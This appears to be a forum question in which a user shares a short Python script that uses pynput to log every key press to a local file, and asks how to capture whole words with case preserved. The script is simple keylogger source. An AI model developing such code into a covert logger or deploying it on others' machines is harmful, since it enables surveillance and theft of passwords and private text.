title: Python : keylogger with case sensitive "
body: <p>i'm creating a keylogger in python, the thing is</p>
  
  <p><strong>Problem cases :</strong></p>
  
  <pre><code>it didn't capture as a **word/sentence**
  
  no **case sensitive**.
  </code></pre>
  
  <p><strong>Logger Source code</strong></p>
  
  <pre><code>from pynput.keyboard import Key, Listener
  import logging
  
  #log file path
  log_path=""
  
  logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s' ) 
  
  def btn_press(key):
      logging.info(key)
  
  
  with Listener(on_press=btn_press) as listene:
      listene.join()
  </code></pre>
  
  <p><strong>test case :</strong></p>
  
  <p>"HelLo LoggeR"</p>
  
  <p><strong>LOG file/output</strong> </p>
  
  <p>'h'</p>
  
  <p>'e'</p>
  
  <p>'l'</p>
  
  <p>'l'</p>
  
  <p>'o'</p>
  
  <p>'l'</p>
  
  <p>'o'</p>
  
  <p>'g'</p>
  
  <p>'g'</p>
  
  <p>'e'</p>
  
  <p>'r'</p>
  
  <p>**Expected Result should be</p>
  
  <p>LOG File/out**</p>
  
  <p>HelLo LoggeR</p>
  
  <p>any modification to improve this feature</p>